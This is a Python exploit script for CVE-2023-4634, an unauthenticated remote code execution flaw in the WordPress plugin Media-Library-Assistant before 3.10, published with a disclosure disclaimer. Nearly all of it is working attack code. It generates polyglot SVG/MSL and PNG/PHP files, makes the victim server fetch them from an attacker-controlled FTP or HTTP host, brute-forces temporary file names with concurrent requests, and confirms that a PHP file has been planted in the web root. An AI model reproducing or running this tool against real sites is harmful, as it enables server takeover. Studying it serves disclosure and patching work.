#!/usr/bin/python3
# Exploit Title: Unauthenticated Remote Code Execution on Media-Library-Assistant Wordpress plugin
# Exploit Author: Florent MONTEL @Pepitoh / Twitter @Pepito_oh
# Product Version: Wordpress Plugins Media-Library-Assistant version < 3.10
# CVE: CVE-2023-4634
# Copyright: 2023, Patrowl.io
#
# Disclaimer: This script is intended to be used for educational purposes only.
# Do not run this against any system that you do not have permission to test.
# The author will not be held responsible for any use or damage caused by this
# program.
import grequests
import requests_ftp
import argparse
import requests
import random
import time
import re
import os
from PIL import Image
from PIL.PngImagePlugin import PngInfo
banner = """
MMMMMMMMMMMMMMMN0d;.';dKWMMMMMMMMMMMMMMM
MMMMMMMMMMWN0xc;'.,;;,.';lx0NWMMMMMMMMMM
MMMMMWNKkl:'.,:ldddoodddl:'.':okKNWMMMMM
MMMWOc,.';loddl:'. .':lddoc;'.,c0WMMM
MMMN:.:OX0l'. .,oKKk;.lNMMM
MMMWl.dkk0l. .o0kOo.dWMMM
MMMMx.co.cOk, ;kO:'d:.kMMMM
MMMM0';d. lNXo. 'dXNo.'d,,KMMMM
MMMMX;'d;,0OlxOl. .oOd:xKccd.:NMMMM
MMMMWl.dc;0O'.c0O:. .c00:..dKloo.oWMMMM
MMMMMx.lo.;xOxxOOOkddkOkOxxkk:,dc.kMMMMM
MMMMMO':d. .''. .cxdc. .''..,xO;,0MMMMM
MMMMMK;,d, .;lcdx':XMMMMM
MMMMMNc.d: ...;cllc;. co.lWMMMMM
MMMMMWd.od. .':odxxdl;. .xc.xMMMMMM
MMMMMMO''xd;;d0KOo;.. .;xx.,0MMMMMM
MMMMMMNd..cd0WXo. .:odo:.'kWMMMMMM
MMMMMMMWKd:'';oddc,..,lddl;'':xXWMMMMMMM
MMMMMMMMMMWXkl,',cdddoc,';oOXWMMMMMMMMMM
MWWWMMMMMMMMMMN0d:'..,cxKWMMMMMMMMMMMMMM
MWWWMMMWWWMMMMWMMMKkXMWXKKXMMMMMMMMMMMMM
CVE-2023-4634.py // Unauthenticated Remote Code Execution on Media-Library-Assistant Wordpress plugin with default Imagick configuration by Patrowl
- Pepitoh (florent@patrowl.io)
Product:
- Wordpress Plugins Media-Library-Assistant version < 3.10 """
# Color output
COLORS = {
"grey": 30,
"red": 31,
"green": 32,
"yellow": 33,
"blue": 34,
"magenta": 35,
"cyan": 36,
"white": 37
}
def colored(text: str, color: str) -> str:
"""Colorize text with ANSI escape sequences."""
return f"\033[{COLORS[color]}m{text}\033[0m"
if __name__ == '__main__':
parser = argparse.ArgumentParser(
prog="CVE-2023-4634 Exploit",
description="Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10",
allow_abbrev=False
)
parser.add_argument(
'--target',
nargs='?',
help='URL of the Target, ex: http://victimwordpress.org')
parser.add_argument(
'--remoteftp',
nargs='?',
help='URL of the remote FTP use to store SVGs files, ex: ftp://X.X.X.X:PORT')
parser.add_argument(
'--remotehttp',
nargs='?',
help='URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex: http://X.X.X.X:PORT')
parser.add_argument(
'--svg_polyglot_name',
nargs='?',
help='Name of the external polyglot SVG/MSL file used (for generation or final usage), ex: poly.svg')
parser.add_argument(
'--svg_exploiter_names',
nargs='?',
help='Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg')
parser.add_argument(
'--png_polyglot_name',
nargs='?',
help='Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg')
parser.add_argument(
'--concurrency',
nargs='?',
type=int,
default = 100,
help='Number of concurrent long SVG conversion requests to make (default 100)')
parser.add_argument(
'--generatesvg',
action=argparse.BooleanOptionalAction,
help='Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory')
parser.add_argument(
'--webserverpath',
help='Path of the webserver on the victim server (could be found with the LFI and wp-config file), ex: /var/www/html')
parser.add_argument(
'--exploitname',
help='Dropped exploit name, ex: pwned.php')
parser.add_argument(
'--generatepng',
action=argparse.BooleanOptionalAction,
help='Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder')
parser.add_argument(
'--payload',
help='PHP Payload to integrate in the PNG file, ex: ')
args = parser.parse_args()
target = args.target
remoteftp = args.remoteftp
remotehttp = args.remotehttp
svg_polyglot_name = args.svg_polyglot_name
svg_exploiter_names = args.svg_exploiter_names
png_polyglot_name = args.png_polyglot_name
concurrency = args.concurrency
generatesvg = args.generatesvg
generatepng = args.generatepng
webserverpath = args.webserverpath
exploitname = args.exploitname
payload = args.payload
MAX_CONCURRENT_THREADS = 10
bruteforce_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-"
print(colored(banner, "white"))
print(colored("\n", "white"))
print(colored("[-] Checking arguments", "cyan"))
#Option to generate the polyglot PNG/PHP file
if generatepng:
print(colored("\t[-] Option to generate polyglot PNG/PHP selected", "cyan"))
if not payload or not png_polyglot_name:
print(colored("\t[x] The --payload and --png_polyglot_name options are needed to be set to create the PNG file", "red"))
exit()
if not os.path.exists("./exploit-png"):
os.mkdir("./exploit-png")
try:
targetImage = Image.open("exploit-png/sample.png")
metadata = PngInfo()
metadata.add_text("Comment", payload)
targetImage.save("exploit-png/"+png_polyglot_name, pnginfo=metadata)
print(colored("\t\t[-] "+png_polyglot_name+" polyglot PNG/PHP file generated", "green"))
exit()
except Exception as e:
print(colored("\t[x] No PNG file found in the folder exploit-png, add a standard PNG sample.png in it", "red"))
exit()
#Generate SVG Files
elif generatesvg:
print(colored("\t[-] Option to generate SVG selected", "cyan"))
if not svg_polyglot_name or not svg_exploiter_names or not remotehttp or not png_polyglot_name or not webserverpath or not exploitname:
print(colored("\t\t[x] The --svg_polyglot_name, --svg_exploiter_names, --remotehttp, --png_polyglot_name, --webserverpath and --exploitname options are needed to create the SVG/MSL Polyglot file", "red"))
exit()
elif "FUZZ" not in svg_exploiter_names:
print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to create the files", "red"))
exit()
else:
print(colored("\t[-] Generating polyglot SVG/MSL file using user inputs", "cyan"))
poly_svg = """
""" % { "remotehttp": remotehttp +"/"+png_polyglot_name , "webserverpath" : webserverpath+"/"+exploitname }
if not os.path.exists("./remote_ftp"):
os.mkdir("./remote_ftp")
f = open("./remote_ftp/"+svg_polyglot_name,"w")
f.write(poly_svg)
f.close()
f = open("./remote_ftp/"+svg_polyglot_name+"[0]", "w")
f.write(poly_svg)
f.close()
print(colored("\t\t[-] "+svg_polyglot_name+" generated", "green"))
#Generating msl:vid bruteforcers
print(colored("\t[-] Generating bruteforce file using text:vid:msl formatter", "cyan"))
for i in bruteforce_list:
filename = svg_exploiter_names.replace("FUZZ",i)
exploiter_content = """""" % { "letter" : i }
f = open("./remote_ftp/"+filename, "w")
f.write(exploiter_content)
f.close
f = open("./remote_ftp/"+filename+"[0]", "w")
f.write(exploiter_content)
f.close
print(colored("\t\t[-] "+filename+" generated", "green"))
print(colored("\t[-] All files have been generated successfully", "green"))
exit()
#Exploitation Part
elif target and remoteftp and remotehttp and svg_polyglot_name and svg_exploiter_names and png_polyglot_name and exploitname:
print(colored("\t[-] All arguments for exploiting target are set, beginning the first checks", "green"))
if "FUZZ" not in svg_exploiter_names:
print(colored("\t\t[x] The --svg_exploiter_names needs to include a FUZZ part to be used in exploitation", "red"))
exit()
target_mla = target+"/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php"
target_mla_readme = target+"/wp-content/plugins/media-library-assistant/readme.txt"
try:
r = requests.get(target_mla_readme)
except Exception as e:
print(colored("\t[x] The target seems to be down, error:" +str(e), "red"))
if r.status_code == 404:
print(colored("\t[x] The target seems not be running the plugin", "red"))
exit()
else:
if re.findall('(?mi)Stable tag: ([0-9.]+)', r.text):
if float(re.findall('(?mi)Stable tag: ([0-9.]+)', r.text)[0]) < 3.10:
print(colored("\t[-] The target seems to be running the plugin in vulnerable version (<3.10)", "green"))
else:
print(colored("\t[x] The Plugin version seems to be installed but not in a vulnerable version", "red"))
#Checking FTP files
ftp_target = remoteftp + "/" +svg_polyglot_name
ftp_taget_frame = ftp_target+"[0]"
requests_ftp.monkeypatch_session()
s = requests.Session()
try:
resp = s.get(ftp_target)
except:
print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file "+ftp_target, "red"))
exit()
if (resp.status_code == 200):
print(colored("\t[-] The remote FTP polyglot SVG/MSL file is reachable", "green"))
try:
resp = s.get(ftp_taget_frame)
except:
print(colored("\t[x] Error while getting the remote FTP polyglot SVG/MSL file ending with [0] "+ftp_target, "red"))
exit()
if (resp.status_code == 200):
print(colored("\t[-] The remote FTP polyglot SVG/MSL file ending with [0] is reachable", "green"))
ftp_target_exploiter = remoteftp + "/"+svg_exploiter_names.replace("FUZZ", random.choice(bruteforce_list))
ftp_taget_exploiter_frame = ftp_target_exploiter+"[0]"
requests_ftp.monkeypatch_session()
s = requests.Session()
try:
resp = s.get(ftp_target_exploiter)
except:
print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file "+ftp_target, "red"))
exit()
if (resp.status_code == 200):
print(colored("\t[-] A sample remote FTP exploiter VID test file is reachable", "green"))
try:
resp = s.get(ftp_taget_exploiter_frame)
except:
print(colored("\t[x] Error while getting a sample remote FTP exploiter VID test file ending with [0] "+ftp_target, "red"))
exit()
if (resp.status_code == 200):
print(colored("\t[-] A sample Remote FTP exploiter VID test file ending with [0] is reachable", "green"))
#Checking final PNG/PHP polyglot file
remote_virus = remotehttp +"/"+png_polyglot_name
try:
r = requests.get(remote_virus)
except Exception as e:
print(colored("\t[x] The Remote HTTP Server Hosting PNG Virus seems to be down, error:" +str(e), "red"))
exit()
if r.status_code == 404:
print(colored("\t[x] The remote PNG/PHP file is not reachable (404)", "red"))
exit()
else:
print(colored("\t[-] The remote Exploit PNG/PHP file is reachable", "green"))
#Laucnhing exploitation
print(colored("[!] All arguments have been checked correctly, lauching exploitation", "yellow"))
print(colored("[-] Lauching "+str(concurrency)+" Threads on long SVG", "cyan"))
exploit_url = target_mla + "?mla_stream_file="+ftp_target
exploit_ploly_list = [exploit_url] * concurrency
rs = (grequests.get(u,timeout=0.5) for u in exploit_ploly_list)
grequests.map(rs)
print(colored("[-] Waiting 5 second for the file to be created", "cyan"))
time.sleep(5)
print(colored("[-] Starting Bruteforcing with VID exploiters", "cyan"))
exploit_url_list = []
for i in bruteforce_list:
exploit_url = target_mla + "?mla_stream_file="+remoteftp+"/"+svg_exploiter_names.replace("FUZZ",i)
exploit_url_list.append(exploit_url)
rs = (grequests.get(u,timeout=0.5) for u in exploit_url_list)
grequests.map(rs)
time.sleep(5)
print(colored("[-] Checking the drop of "+exploitname, "cyan"))
target_virus = target+"/"+exploitname
i = 0
#timeout to 80 second
while i <= 8:
try:
r = requests.get(target_virus)
except Exception as e:
print(colored("\t[!] Error while reaching the target URL, hope you did not crash it: " +str(e), "red"))
exit()
if (r.status_code == 200):
print(colored("\t[-] Exploit worked!, the PHP file is in the web directory, Enjoy 🔥", "green"))
exit()
else:
print(colored("\t[!] Not yet, try "+str(i+1)+" on 9 ... checking again in 10 seconds", "yellow"))
time.sleep(10)
i =+ i+1
continue
print(colored("\t[!] Exploit has not worked, try by increase concurrency value or use another method", "red"))
exit()
else:
print(colored("\t[!] Missing arguments!", "red"))
exit()